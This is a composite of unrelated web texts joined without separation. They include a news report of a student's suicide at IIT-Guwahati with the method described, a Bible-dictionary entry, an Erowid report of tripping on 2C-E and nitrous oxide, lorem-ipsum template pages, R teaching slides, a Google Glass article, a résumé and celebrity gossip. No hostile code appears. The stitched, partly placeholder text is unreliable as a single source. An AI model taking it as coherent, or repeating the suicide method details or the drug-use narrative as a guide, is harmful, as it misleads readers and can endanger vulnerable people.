Guwahati: In yet another incident of suicide being reported from the Indian Institute of Technology this month, a Japanese student, who was doing his internship with IIT-Guwahati, was found dead inside a hostel room of the institute on Thursday.
The deceased has been identified as Kota Onoda, a student of Gifu University in Japan, news agency ANI reported on Friday.
IITG Public Relations Officer told IANS on Thursday, “He was supposed to return to his parent university on November 30 after completion of the exchange programme.”
He said that the incident took place between 3 PM to 3.30 PM.
“His friends saw the room locked and called him. As there was no response from inside, they informed the IITG authorities. The IITG authorities with the help of police broke the door open and found him hanging from the ventilator in the bathroom,” the official said.
Following the incident, the college authorities brought the matter to the notice of the Ministry of Home Affairs (MHA) and Ministry of External Affairs (MEA) so that the family in the deceased’s home country can be intimated about the tragedy
In an earlier incident, Fathima Latheef, a student of IIT Madras, had allegedly committed suicide by hanging herself from a ceiling fan in her hostel room. A native of Kerala, she was pursuing an integrated MA program at the institute. Her father later revealed a text message in which she had blamed one of her professors for her suicide. She was a Humanities student and, according to reports, was a topper in her class. Her suicide triggered protests inside as well as outside the campus.
For breaking news and live news updates, like us on Facebook or follow us on Twitter and Instagram. Read more on Exams & Results Latest News on India.com.
Story Timeline
- 19 Nov 2019 IIT-Madras Suicide Case: 3 Professors Quizzed by Special Investigative Team
- 15 Nov 2019 IIT Madras Suicide Case: Fathima Latheef’s Father Meets Tamil Nadu CM, Urges For Proper Probe
- 14 Nov 2019 IIT-Madras Student Suicide: Chennai Top Cop Visits Campus, Case Transferred to Crime Branch
Comments - Join the Discussion


"SNAIL "(1.) Hebrews homit, among the unclean creeping things (Leviticus 11:30). This was probably the sand-lizard, of which there are many species in the wilderness of Judea and the Sinai peninsula. (2.) Hebrews shablul (Psalm 58:8), the snail or slug proper. Tristram explains the allusions of this passage by a reference to the heat and drought by which the moisture of the snail is evaporated. “We find,” he says, “in all parts of the Holy Land myriads of snail-shells in fissures still adhering by the calcareous exudation round their orifice to the surface of the rock, but the animal of which is utterly shrivelled and wasted, ‘melted away.’”
"SNAIL "(1.) Hebrews homit, among the unclean creeping things (Leviticus 11:30). This was probably the sand-lizard, of which there are many species in the wilderness of Judea and the Sinai peninsula.
(2.) Hebrews shablul (Psalm 58:8), the snail or slug proper. Tristram explains the allusions of this passage by a reference to the heat and drought by which the moisture of the snail is evaporated. “We find,” he says, “in all parts of the Holy Land myriads of snail-shells in fissures still adhering by the calcareous exudation round their orifice to the surface of the rock, but the animal of which is utterly shrivelled and wasted, ‘melted away.’”


Heaven & Hell are symbolic, not religious, throughout this report.
A little background. Since
this trip on a combination of 3C-P, 2C-T-2, and P. Cubensis mushrooms, I have not felt the urge to trip as much. I went so far out there, so deep into the answer, that I had forgotten the question and who was asking it. I also said that it was impossible to gain anything useful from that trip. I believed this at the time, but it has slowly been coming to me. Something like that takes a long time to integrate properly.
I was so overwhelmed by the life-death cycle during the first half of the trip that I had nearly forgotten about the song of the second, at least until this:
Set: I was happy to get the chance to spend a controlled evening of tripping with some friends. I brought some whippets with, but nobody really thought about them until much, much later.
Setting: A friend's apartment, we'll call her G. Her boyfriend M was being introduced to 2C-E for the first time as well, and her dog was around. M had tried 2C-I as his first psychedelic experience at my recommendation, and then mushrooms another time.
G is an interesting female, she has a very dominant personality and I would consider her one of my best friends. I've always wished it was more. She also has more history of psychedelic use than me, and generally tends to be able to control herself better under the influence of phens. 2C-E has always proved to be an intense substance for me, difficult to deal with properly and hard to function on. I wasn't scared of it but I tend to treat it with more wariness than 2C-T-2 for example.
I'm going to leave out a timeline as nobody was really paying attention to the clock. This was done in the evening, however.
Some 30 minutes after swallowing the 2C-E, I began feeling typical phenethylamine alerts. Slight increase in tactile function, sharpened vision, slight speediness.  G & I mused that the Disney people really seemed to know quite a bit about hell. M was already lost in thought. This set some of the stage for the rest of the night.
The Disney cartoons became too much for us as we were becoming increasingly lost in our own minds, and we retired to a more comfortable area of the house, where we lay in a triangle on a soft rug that had been bought for ecstasy experiences of years past. My mind was racing to seperate from my body. G put on some music and it wasn't too long before I started noticing strangely familiar.
Songs grew more and more cyclic until they were separated completely into a rotating pattern of chord and discord that were both separate and one. Duality had taken hold. I was feeling love & hate & joy & despair all as one. I was scared. Why was I hearing the pain in these notes when the others seemed oblivious? There were two songs being played here, one of heaven, and one of hell, and I knew that I had a control over what I would hear and experience, but was unaware of how to exert the control needed. I would be forced to hear both, alternately. Sometimes during the limited conversation G & I were having (M was well beyond speech), I would feel the cycling of the song shift so that one side of the music would take over.
I began to listen again and realized that I could move my body a certain way, or hum along to the 'good' song and I would begin to experience pure ecstasy. Failing to follow the rhythm would produce appropriate pain/discomfort. I didn't understand this. Why was action required to enjoy simple music? Was I unable to properly go with the flow of life in such a way as to avoid the negative side? Of course I was. There is good and bad in everything all at once, I learned that back at that farm running around naked a year ago. For every moment of joy there is an equal moment of pain. I was now seeing this again, in a simpler way, one that didn't involve grandiose visions of love and torture.
Still, why did the pain need be there? I had been lost in thought for a long time, staring at the carpeting. What few words I had spoken were probably incoherent descriptions of what I was feeling, but they didn't matter anyway. I was still lost in the song of forever and now. I wanted to sing along with it and be free from the pain, but any attempts I would make would be woefully inadequate. I wanted to create music that was good to drown out all that was bad, but I have no musical talent.
Somewhere in the middle of all of this, G's dog let M know that he had to go to the bathroom. He let him know this by running into the room, jumping on his chest, and then urinating while running in circles around all of us. We all got some dog urine on us, but M got the brunt of it. This only reinforced my good / bad thought, as M had been enjoying himself more than any of us, writhing on the floor in ecstasy the entire time. We walked the dog, and the outside world frightened me. It seemed too cold and too hot at the same time, even though it was just warm outside. G was unable to care too much about this at the time. None of us were in the state to do the serious cleaning required to the entire room / rug, and some of it needed a dry cleaner's anyway. We kind of forgot about it until the next morning, mostly out of necessity.
My music cycles continued after the excitement was over, and I was in a bit of a thought loop.
Around this time G started talking to M about their relationship and where it was going. I was being included in this conversation as well, against my will, and this part was personal and need not be mentioned here. G said something freely that I didn't want to hear about, and I soon after excused myself to the living room to lay down alone for a moment. I loved her and it was too much. G followed me out and she took me to the porch for a cigarette.
G: 'Why are you always running away?'
Me: 'Huh?'
G: 'Every time something gets emotional you want to run.'
Me: 'I don't know... I'm scared.'
Our conversation went on for awhile, we discussed heaven & hell, I was able to relate a little of what I was feeling from the music. She had a very similar view to me on things, although she hadn't been experiencing them the same way I was. We talked about our respective pasts, current fears. A good amount of the burden felt like it was lifted. After about 30 minutes of this, M wandered out on the porch, wondering where we had been. Oops. He had been enjoying himself inside, anyway.
I began cycling through different concepts. Now not good and bad specifically, but more of an experience of several emotions, thoughts, and of being several objects and in many places in an instant. Time would seperate into frames and I'd flick through them in one quick motion. I was travelling the world instantaneously, seeing much but forgetting most. This happened three or four times in a row and then died down. This part I didn't understand at all, and I get the feeling it will carry over into my next trip, whenever that might occur.
 I was starting to come down, and nothing had been resolved really. Clarified a bit, but not resolved. I don't know if there was a resolution. I decided to fill some balloons for everyone. I took mine last, and was propelled into the euphoric side of the music. I flicked through the oceans and stars and sky and forests for one last time for the night. I stared into G's eyes feeling all my thoughts for her laid bare for just a brief instant. She looked back, and said only:
'It wasn't meant to be.'
She knew. I knew. We all watched The Last Unicorn and laughed ourselves to near sleep on its strange communist and sexual undertones. Sleep came slowly for me, G & M went to bed. I fell asleep on the floor, feeling like a child trying to read an advanced thermodynamics textbook, humbled and confused. The trip faded away.
To be continued, at another time.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


We are in the business of digital transformation. We help our clients see what they cannot. From Apple Commercials and Billboards to Gartner's Magic Quadrant and Webby Award winning mobile apps, our work sees no boundaries.
Veiw our worksUnpacked now declared put you confined daughter improved. Celebrated imprudence few interested especially reasonable off one.
Unpacked now declared put you confined daughter improved. Celebrated imprudence few interested especially reasonable off one.
Unpacked now declared put you confined daughter improved. Celebrated imprudence few interested especially reasonable off one.
Unpacked now declared put you confined daughter improved. Celebrated imprudence few interested especially reasonable off one.
Unpacked now declared put you confined daughter improved. Celebrated imprudence few interested especially reasonable off one.
Unpacked now declared put you confined daughter improved. Celebrated imprudence few interested especially reasonable off one.
Unpacked now declared put you confined daughter improved. Celebrated imprudence few interested especially reasonable off one.
Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.
Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.
Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aliquam eu risus libero. Donec et lorem lacinia, adipiscing nunc nec, hendrerit sapien. Sed in scelerisque tortor. Praesent porttitor odio non ullamcorper gravida. Lorem ipsum dolor sit amet, consectetur adipiscing elit.
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Nulla eaque ullam labore quis consequuntur harum culpa voluptate illum. Commodi sint et veniam nisi sapiente sed. Illum natus nostrum deleniti labore voluptates sequi, ipsam libero quia.
Nesciunt harum dolor quae reiciendis commodi, unde soluta officia illo ab, ullam odit aliquid odio explicabo sapiente. Quos nam hic nesciunt, laudantium consectetur est maiores deleniti, ratione itaque, eveniet veniam voluptate alias quasi! Eveniet veniam quidem, quis vitae perferendis recusandae, dolore iste amet atque officia sed?voluptate alias quasi!
Consectetur adipisicing elit. Nulla eaque ullam labore quis consequuntur harum culpa voluptate illum. Commodi sint et veniam nisi sapiente sed. Illum natus nostrum deleniti labore voluptates sequi, ipsam libero quia.
Lorem ipsum dolor sit amet, consectetur pisicing elit. Vero saepe expedita similique veritatis repudiandae nulla by me!
Read moreLorem ipsum dolor sit amet, consectetur pisicing elit. Vero saepe expedita similique veritatis repudiandae nulla by me!
Read moreLorem ipsum dolor sit amet, consectetur pisicing elit. Vero saepe expedita similique veritatis repudiandae nulla by me!
Read more


Server Temperature
Language Breakdown
Room temperature
Humidity
Development Approach
This projects is motivated by my fascination with IoT electronics and my desire to monitor the status of my home 24/7. It was incredibly fun to put all this together as it required such a diverse set of tools (frontend, backend, databases, microcontrollers and sensors). You are looking at the dashboard for my IoT devices hosted on a RaspberryPi.
The front end is built with Bootstrap and jQuery based on the SB Admin 2 theme. The backend is built with Flask , while data is stored in a SQLite database. The app is served with Gunicorn and NGINX on a Raspberry Pi 4 in my apartment, which also controls the sensors through an Arduino. In the future I will implement the MQTT protocol to communicate with multiple IoT devices.


Paste map file content and line/column of error message.
The Search button will return the original source, line and column.
The Dump button will dump the entire map in CSV in a new browser tab.
Created by @pastcompute


wasteland
[50, 0]
|
a factory
[51, 0]
|
the Sheehan Building
[52, 0]
|
a factory
[53, 0]
|
a junkyard
[54, 0]
|
Carr Place
[55, 0]
|
Maber Avenue
[56, 0]
|
Tolman Lane
[57, 0]
|
a carpark
[58, 0]
|
Hird Grove
[59, 0]
|
Barrat Lane
[50, 1]
|
Chadwick Lane
[51, 1]
|
wasteland
[52, 1]
|
Broad Boulevard Railway Station
[53, 1]
|
Swearse Road
[54, 1]
|
a carpark
[55, 1]
|
Adlam Cinema
[56, 1]
|
Fenwyk Plaza Police Dept
[57, 1]
|
the Bareham Arms
[58, 1]
|
Stranks Walk Railway Station
[59, 1]
|
Lockwood Park
[50, 2]
|
Club Bussicott
[51, 2]
|
Whittle Row
[52, 2]
|
the Corless Arms
[53, 2]
|
Luckraft Avenue
[54, 2]
|
Clarkson Lane
[55, 2]
|
Dennett Lane
[56, 2]
|
Latter Walk Railway Station
[57, 2]
|
Hamlin Way
[58, 2]
|
Duckworth Drive
[59, 2]
|
Club Bennetts
[50, 3]
|
the Lethbridge Building
[51, 3]
|
Hooke Auto Repair
[52, 3]
|
a junkyard
[53, 3]
|
St Maximillian's Church
[54, 3]
|
Trickey Lane
[55, 3]
|
Frankham Avenue School
[56, 3]
|
a junkyard
[57, 3]
|
Hoskins Place
[58, 3]
|
Sindercombe Grove
[59, 3]
|
Nutt Avenue
[50, 4]
|
a factory
[51, 4]
|
Adalbert General Hospital
[52, 4]
|
Bulleid Square
[53, 4]
|
Gillycuddy Boulevard
[54, 4]
|
the Braddick Building
[55, 4]
|
Courage Avenue
[56, 4]
|
a warehouse
[57, 4]
|
wasteland
[58, 4]
|
wasteland
[59, 4]
|
wasteland
[50, 5]
|
St Barnabas's Church
[51, 5]
|
the McLean Monument
[52, 5]
|
Costen Way
[53, 5]
|
Steeds Bank
[54, 5]
|
Muxlow Lane
[55, 5]
|
Henniker Road
[56, 5]
|
Bollans Walk
[57, 5]
|
Gainard Place Police Dept
[58, 5]
|
the Chafy Monument
[59, 5]
|
the Parsons Hotel
[50, 6]
|
Spare Grove
[51, 6]
|
Montgomery Towers
[52, 6]
|
Liddiard Towers
[53, 6]
|
the Hollwey Arms
[54, 6]
|
the Rothwell Hotel
[55, 6]
|
the Wheadon Museum
[56, 6]
|
Counsell Auto Repair
[57, 6]
|
the Deller Arms
[58, 6]
|
Stoodely Street
[59, 6]
|
the Leary Building
[50, 7]
|
Martha General Hospital
[51, 7]
|
the Smith Arms
[52, 7]
|
a carpark
[53, 7]
|
wasteland
[54, 7]
|
a warehouse
[55, 7]
|
the Sidney Arms
[56, 7]
|
Grimstead Boulevard Police Dept
[57, 7]
|
the Little Motel
[58, 7]
|
a carpark
[59, 7]
|
Southall Mansion
[50, 8]
|
Rolls Road Police Dept
[51, 8]
|
Whitin Drive
[52, 8]
|
St Henry's Church
[53, 8]
|
the Classey Monument
[54, 8]
|
Gully Library
[55, 8]
|
Clothier Lane
[56, 8]
|
Tozer Auto Repair
[57, 8]
|
the Lambley Building
[58, 8]
|
the Godwin Motel
[59, 8]
|
Southall Mansion
[50, 9]
|
a warehouse
[51, 9]
|
Hammet Way
[52, 9]
|
a cemetery
[53, 9]
|
Hiscock Alley
[54, 9]
|
a junkyard
[55, 9]
|
the Terrill Arms
[56, 9]
|
Sambone Library
[57, 9]
|
Club Sheapperd
[58, 9]
|
Church Square
[59, 9]
|
|
Menu
City Map
Find Location
Route Finder
World View
Map Mirror
|


{% extends 'apidoc.html' %} {% block title %}Tile5 API Documentation{% endblock %} {% block api %}
The T5.Touch module is an initial implementation of touch handling for mobile devices. The module is built to support mouse events also on devices that aren't touch enabled so that the UI components work equally well on desktop devices as they do on mobile devices. In terms of touch event handling, both panning and scaling via multi-touch interfaces are supported.
In the future, a priority for Tile5 is to allow implementors to decide to either use the internal touch module or utilize another module such as a Sencha Touch or jQuery Mobile implementation. The last thing any of us needs is ever javascript library demanding that it's own touch implementation is used :/


It's the end of the road for Google Glass Explorer Edition
Out to Glassture
by Alan MartinTHERE'S AN ELEMENT OF RISK in being an explorer, as Wikipedia grimly documents. Perhaps with hindsight, the words "Explorer Edition" that featured prominently on the first generation of Google Glass should have warned of a similarly disappointing end.
Google plans to put out one final software update and then to cut all those Explorers loose. And it's less of a last hoorah and more a last wah-wah.
The update simply lets you pair Glass with the phone, as MyGlass will stop working. Bluetooth will continue, as will the ability to creepily take photos and videos via your lenses.
People who refuse to apply the update will still be able to use it for the time being, but mirrored apps such as Gmail, YouTube and Hangouts won't work. But really, how dedicated to Google do you have to be to be using Hangouts on your Glass in 2019?
That's true for the next two months, afterwards, you really need the patch. "After February 25, 2020, this update removes the need and ability to use your Google account on Glass," Google writes.
You'll be able to apply the update at that point, but it won't be around forever. "After February 25, 2020, if you're not logged into the device, or you log out, you will need to install the final update in order to continue using the device," Google says, noting that it only promises to keep the update available until 25 February 2022.
It's all a bit of a sad end for early adopters - who eventually became plain old "adopters" as Glass never got a commercial release. Let's not forget that they paid $1,500 for the privilege back in 2014.
Still, if you're a Glass owner that's mourning the demise of the tech, rather than burning $1,500 for no clear reason, the future remains bright-ish for AR glasses. Not only is the Enterprise Edition of Google Glass still alive, but both Qualcomm and Apple seem to have learned nothing from this cautionary tale.
Look forward to us lamenting their failures at some point in 2028. µ
Further reading
Google Glass Enterprise Edition 2 is all business
- 21 May 2019
Google Glass still isn't dead as firm plots second-gen biz model
- 14 Nov 2018
Google Glass returns from the dead and this time it means business
- 18 Jul 2017
Your pupil is about to become the master: Google Glass is coming back
- 07 Jul 2017


Estes Park native Laura Blake won the 27th Front Range Marathon over an elite field of the best long-distance runners in the country. Laura's time of 2 hr. 28 min. 21 sec. was only 2 minutes off the women's course reco rd set last year by Sarah Rawlings. Kathy Lasker and Lisa Peterson finished second and third, respectively. Laura's victory came on the heels of her performance at the NCAA Track and Field Championships, in which she placed second running for Colorado State.
In an exciting race, Peter Teagan of San Antonio, Texas, used a finishing kick to win the men's marathon for the second straight year, in a time of 2 hr. 12 min. 34 sec. Ahead for much of the race, Kyle Wills of Billings, Montana, finished second when he could not match Teagan's finishing pace. Jason Wu of Boulder, Colorado, placed third in a very competitive field.
This year's race through downtown Boulder boasted the largest field in the marathon's history, with over 9500 men and 6700 women competing. Race conditions were perfect with low humidity and temperatures that never exceeded 85 degrees.
Highway 7 will reopen this Friday, June 3rd, after a final safety inspection. A late blizzard delayed road crews, marking this as one of the latest dates on record for the highway's reopening.
Rising to an elevation of over 12,000 feet, Highway 7 is a main link between Estes Park and Grand Lake. The reopening of the road is one of the annual signs that summer is near and the tourist season will soon be upon us!
Cougar sightings have increased 40% in the Este Park area according to a report released yesterday by the state DNR. In the last month alone, there were ten sightings in Estes Park and the surrounding communities of Grand Lake and Pinewood Springs. This compares to only twelve sightings for the entire spring of last year.
Reasons for the growing number of cougar sightings include increasing encroachment by people into former wildlife habitats and new wildlife regulations that result in decreasing numbers of elk and deer being taken by hunters. Cougars may be wandering into developed areas, following the herds.
DNR spokesman Steve Tasker asks residents to call the DNR report line at 555-6981 if they believe they have seen a cougar or any large predatory animal. Two fatalities have already occurred in the west this year from cougar attacks.
Stop, stand tall, and don't run. A cougar's instinct is to chase.
Try to appear larger than the cougar by raising your arms.
Back away slowly, always keeping eye contact.
If the cougar displays aggressive behavior, shout and wave your arms. Convince the cougar that you are not prey, but a potential danger.
In case of an attack, stay on your feet and fight back aggressively.
A local town, Memeville, has been tramatized by a certain picture.
Anyone that sees the picture will never forget it, making them stare off into the distance, forever.
Scientists say.
No one knows where it came from, or why.
Below is the picture.
Viewer discretion adviced.


class: center, middle, inverse, title-slide # Directories, Data, and Deliverables (oh my!) ## Week 2 --- ## Principles of Reproducibility The idea: You should be able to send your project to someone else, and they can jump in and start working right away. 1. Files are organized and well-named. 2. References to data and code work for everyone. 3. Package dependency is clear. 4. Code will run the same every time, even if data values change. 5. Analysis process is well-explained and easy to read. --- # Dealing with Directories ## What is a directory? - A **directory** is just a fancy name for a folder. - Your **working directory** is the folder that R "thinks" it lives in at the moment. ```r getwd() ``` ``` ## [1] "C:/Users/kbodwin/Dropbox/Teaching/STAT-331-Online/2_Basics/Directories_Data_Deliverables" ``` - If you save things you have created, they save to your working directory by default. --- class: center, middle # Manage your Class Directory -- Is it in a place you can easily find it? -- Does it have an informative name? -- Are the files inside it well-organized? --- ## Paths - A **path** describes where a certain file or directory lives. ```r getwd() ``` ``` ## [1] "C:/Users/kbodwin/Dropbox/Teaching/STAT-331-Online/2_Basics/Directories_Data_Deliverables" ``` This file lives on my computer `C:/`, on my account `Users/kbodwin/` in my Dropbox `Dropbox/` in a series of organized folders --- class: center, middle # Try it! Find the **path** to your class directory. --- ## The beauty of R Projects An **R Project** is basically a "flag" planted in a certain directory. When you double click a **.Rproj** file, it does two things: 1. Open RStudio 2. Set the working directory to be wherever the .Rproj file lives. 3. Link to GitHub, if setup (more on that later!) -- This is great for reproducibility! Anyone can copy your directory, and the .Rproj will open properly on their computer. --- class: center, middle # Set up your RProj In RStudio, choose `File > New Project`. (Save any files you need to.) Choose **existing directory** and find your class folder. -- Close **all** of your RStudio windows. Go to your class folder. Double click the **.Rproj** file (it looks like a cube!) -- **You should ALWAYS access your work this way from now on!** --- ## Good practice - Organize your folders carefully, and name them meaningfully: + `/User/kbodwin/Dropbox/Teaching/` rather than `Desktop/stuff/` - Use **R Projects** liberally - put one in the "main" folder for each project + I have a project for every class I teach. + I have a project for every data analysis I do. + I **never** open RStudio, except by clicking on a project. --- # Bad practice If you put something like this at the top of your .Rmd file, I will set your computer on fire: ```r setwd("/User/reginageorge/Desktop/R_Class/Lab_1/") ``` - Setting working directory by hand = BAD! -- - That directory is specific to you! -- - (R Markdown files won't knit this code.) --- class: middle, inverse # Do this right now: ## 1. Create a R Project in your class directory. ## 2. Add a folder to the directory called "Data" ## 3. Download the *ages* data from the link provided, and put it in your Data folder. --- class: center, middle # Location of Data --- # read.csv() - The most common way to read data is with `read.csv()`. - You may supply either a **url** to the dataset, or a **path**. ```r hiphop <- read.csv("https://www.dropbox.com/s/1qqyshx5ikt9zoc/hiphop.csv?dl=1") ## This will work for everyone! ``` -- ```r hiphop <- read.csv("/Users/kbodwin/Dropbox/Teaching/STAT-331-Online/Data/hiphop.csv") ## This will work only on my computer ``` -- ```r hiphop <- read.csv("hiphop.csv") ## This will work if the file is in the same directory as the code (i.e., the project directory) ``` -- ```r hiphop <- read.csv("./Data/hiphop.csv") ## This will work if a folder called "Data" is in the same directory as the code. ``` --- # The **here** package A great solution to consistency in paths is the `here` package: ```r install.packages("here") ``` -- This package thinks that *"here"* means *"the directory of the closest project"*. ```r here::dr_here() ``` ``` ## here() starts at C:/Users/kbodwin/Dropbox/Teaching/STAT-331-Online, because it contains a file matching `[.]Rproj$` with contents matching `^Version: ` in the first line ``` --- # The **here** package Recall that these slides live in a subfolder for Week 2 and for this Lesson: ```r getwd() ``` ``` ## [1] "C:/Users/kbodwin/Dropbox/Teaching/STAT-331-Online/2_Basics/Directories_Data_Deliverables" ``` -- If I wanted to access a dataset from my main Data folder, I'd have to use a relative file path: ```r hiphop <- read.csv("../../Data/hiphop.csv") ``` -- If I ever reshuffle my folder structure, I'm in trouble! --- # The **here** package Instead of trying to reference data relative to **this** file, let's refference it relative to the **Project** location, which is unlikely to change. ```r here::here("Data", "hiphop.csv") ``` ``` ## [1] "C:/Users/kbodwin/Dropbox/Teaching/STAT-331-Online/Data/hiphop.csv" ``` -- ```r hiphop <- read.csv(here::here("Data", "hiphop.csv")) ``` This will **adapt** to each person's path! --- class: center, middle # Reading in data --- # Common types of data files - `.csv` : "Comma-separated" ``` Name, Age Bob, 49 Joe, 40 ``` - `.txt`: Plain text + Could be just text + Could be comma-separated data + Could be tab-separated, bar-separated, etc. + Need to let R know what to look for - `.xls, .xlsx`: Microsoft Excel Spreadsheet + Common approach: save as `.csv` + Nicer approach: `readxl` package --- # read.csv() and read.table() - A more general version of `read.csv()` is `read.table()`. - Tell R what symbol separates data observations with `sep = ` ```r hiphop <- read.table("hiphop.csv", sep = ",") hiphop <- read.table("hiphop.csv", sep = "\t") ## if tabs between data ``` --- # readr The tidyverse has some cleaned-up versions in the `readr` and `readxl` packages: - `read_csv` works like `read.csv`, with some extra stuff - `read_tsv` is for tab-separated data - `read_table` is for any data with "columns" (white space separating) - `read_delim` is for special "delimiters" separating data - `read_excel` is specifically for dealing with Excel files --- # Exercises The folder "Age_Datasets" on Canvas several datasets containing the names and ages of five men. The datasets are stored as different file types. Save these in a reasonable place, then do the following: 1. Read in the dataset `ages.csv`. 2. Read in the dataset `ages_tab.txt` 3. Read in the dataset `ages_mystery.txt` 4. Read in the dataset `ages.xlsx` 5. Both `read.csv` and `read.table` have an optional argument called `stringsAsFactors`. Figure out what this does. 6. Find a way to use `read_csv` to read `ages.csv` with the variable "Name" as a factor and "Age" as a character. --- class: center, middle, invert # Deliverables in R Markdown --- # General principles - Give your file a good title, author, and date - Name your file something meaningful (match the title!) - Use `#` to make section headings etc. - Each code chunk is a unified thought. - Text before and after each code chunk to motivate your code and explain the output. - Make deliberate decisions about what to display: + Does the reader need to see data loading step? + Does the reader need to see your code? + Does the reader need to see the output? --- # Naming code chunks - Lets you jump between chunks - Careful with copy-pasting, duplicate names are not allowed. (demo) --- # Setting chunk options - `echo`: Should this code be **shown** (echoed)? - `eval`: Should this code be **run** (evaluated)? - `include`: Should this code be neither shown nor run? - `error`: If there is an error, should that display rather than breaking the knit? - `warning`: If there is a warning, should that display? - `message`: If there is a message, should that display? --- ## Setting options for ALL chunks What does this do? ```r knitr::opts_chunk$set(fig.width=6, fig.height=4, echo=TRUE, warning=FALSE, message=FALSE, eval=TRUE) ``` - (you can always override these for individual chunks)


The Data Science Facility at the Donald Danforth Plant Science Center is a computing and data analytics hub that develops and deploys technologies in computer science, mathematics, and statistics to accelerate discoveries from data and models in plant science.
Physically, the facility supports computing through several modalities: 1) high-performance computing and workflow management on an HTCondor cluster; 2) virtualized applications using machine- and container-level virtualization; 3) web/database applications and support. Currently, the infrastructure contains over 1300 processing cores and 2800 graphics processing cores, more than 8 terabytes of memory, and a single, high-performance 721 terabyte storage area network. These resources are shared in a managed, multi-user environment and communicate via a 10 gigabit Ethernet network. Management of the system is simplified through virtualization of key services, which also allows for the deployment of diverse applications and platforms simultaneously.
Services offered by the Data Science Facility include 1) user services: authentication services/user accounts, software installation, patches and upgrades, troubleshooting, advising, Slack (virtual help desk), GitHub (version control), training (system usage, specific software, workflows), documentation, and outreach; 2) computing: cluster resources, web server hosting, database server hosting, maintenance/upgrades, system monitoring, and virtual machine and container management; 3) storage: monitoring, performance configuration, and maintenance. Additionally, the facility consults on the development of computational, data analysis, and experimental design components of proposals and assists with editing of computational and statistical analysis sections of manuscripts. The core facility also offers analysis services, ranging from whole project consulting to individual analyses.
Intellectual development is offered by members of the facility through regular workshops and training events, custom application development for lab or group projects, and community-based sharing of software, ideas, and methods. In addition, the facility enhances interaction between groups at the center and partner institutions and facilitates interoperation between local computing and storage resources and public/private cloud/cyberinfrastructures such as Amazon Web Services, CyVerse, and Open Science Grid.


The applications_services.js
file provides the Applications
provider.
This provider is used both at config time in order to create a new application,]
and in run time in order to access the applications.
Applications
provider should be injected (using angular DI) to a config
block, or to other providers.
The provider has two properties:
Application
: this "class" (using the class.js
package) is the base class used to create new applications.
You should refer to register
: use this function in order to register an instance of the application class you created.
Applications
provider should be injected (using angular DI) to a run
block, or to other services.
The provider has two properties:
applications
: this function returns an Array of all of the applications registered in the config phase.
currentApplication
: a function which either returns the application the user is using (if called with no argument),
or if called with an argument - set the current application to the given application.


I am experienced in leveraging Embedded Systems to provide a robust synopsis for high level overviews. Iterative approaches to corporate strategy foster collaborative thinking to further the overall value proposition.
• Monitor the labs to ensure that no students perform any kind of violations. • Solve their Programming/Designing Queries in C/C++/Python/Matlab. • Check for the electrical connection of the device and troubleshoot the device which are not working. Provide unique and long lasting solutions and report the abrupt changes needed.
• Worked with a team of 20 with diversified major to develop a realistic system. • Presented weekly task report with findings on progress of system. • Designed and developed prototype for measuring sensor-based values of an automobile system and displaying values on a C# based graphical user interface. • Developed emulator on matlab for CAN peripherals communication and implemented on BCM2835 based processor using CAN transceiver. • Tested Protocols: CAN, SPI, I2C, USART • Sensors: DS1307, DS3231, AD22151, MPU9250, MCP 3008, SNDH-H3L-G01 • MCU: BCM2835
GPA: 3.33
GPA: 3.36
Apart from being a Embedded Software/Firmware Developer, I enjoy most of my time being outdoors. In the winter, I am an avid skater and novice ice climber. During the warmer months here in New Jersey, I enjoy mountain biking, free climbing, and kayaking.
When forced indoors, I follow a number of sci-fi and fantasy genre movies and television shows, I am an aspiring chef, and I spend a large amount of my free time exploring the latest technology advancements in the Embedded System Development world.


I'm A Celebrity's Nadine Coyle reveals why she's not friends with Girls Aloud
I’m A Celebrity star Nadine Coyle has revealed why she’s not friends with her former Girls Aloud bandmates anymore.
On tonight’s I’m A Celebrity…Get Me Out Of Here, the singer admitted to Kate Garraway that being in the band ‘was fun’ but ‘lots of hard work’.
Kate asked Nadine why she wasn’t friends with the other members of Girls Aloud or saw them.

‘But I was always in the gay bars with all the guys, I’d be out partying, me and ten guys, I was having a laugh, I was 18-19 years old.’
Girls Aloud – made up of Cheryl, Sarah Harding, Nadine Coyle, Nicola Roberts and Kimberly Walsh – were created through the ITV talent show Popstars: The Rivals in 2002.
After winning the show, the band became one of Britain’s biggest pop bands, earning 20 consecutive top 10 singles in the United Kingdom, including four number ones.
Advertisement Advertisement
In the past Nadine has hinted that the girls weren’t pals anymore.
On an episode of Celebrity Juice, she told Keith Lemon that she doesn’t see the girls any more.
She suggested ‘there was no fallout’ but ‘there was just no friendship to begin with.’
She hinted at a possible cause for the problems to The Sun back in 2017: ‘It was fine at the start but there’s always politics in any band.
‘It just happened that I always got more vocals than everybody else, so in terms of people wanting their voice heard, that wasn’t happening. And it made people very bitter. They didn’t like that.’
I’m a Celebrity…Get me out of Here! airs weekdays at 9pm on ITV.
Got a showbiz story?
If you've got a story, video or pictures get in touch with the Metro.co.uk Entertainment team by emailing us<EMAIL_ADDRESS>calling 020 3615 2145 or by visiting our Submit Stuff page - we'd love to hear from you.


Depei Zhang
P1: LC783: Minimum Distance Between BST Nodes
Leetcode runtime & memory (cpp): 0 ms (100.00%) & 11 MB
Solution:
P2: Reverse A Doubly Linked List Using Recursion
Leetcode runtime & memory (cpp): N/A
Solution:
P3: LC687: Longest Univalue Path
Leetcode runtime & memory (cpp): 112 ms (98.00%) & 49.7 MB
Solution:
P4: LC698: Partition to K Equal Sum Subsets
Leetcode runtime & memory (cpp): 0 ms (100.00%) & 8.8 MB
Solution:
P5: LC794: Valid Tic-Tac-Toe State
Leetcode runtime & memory (cpp): 0 ms (100.00%) & 8.1 MB
Solution:


--- layout: default title: Conference & Sponsorship Information description: DEVit conference will deliver the unmatched ability to gain access to the most talented, self driven developers, designers and entrepreneurs, community and thought leaders in Web Development today. permalink: /how-to-become-sponsor custom_js: - how-to-become-sponsor.bundle.js --- {% include blocks/header.html page="how-to-become-sponsor" %}
DEVit conference will deliver the unmatched ability to gain access to the most talented, self driven developers, designers and entrepreneurs, community and thought leaders in Web Development today.
Talent acquisition & recruitment
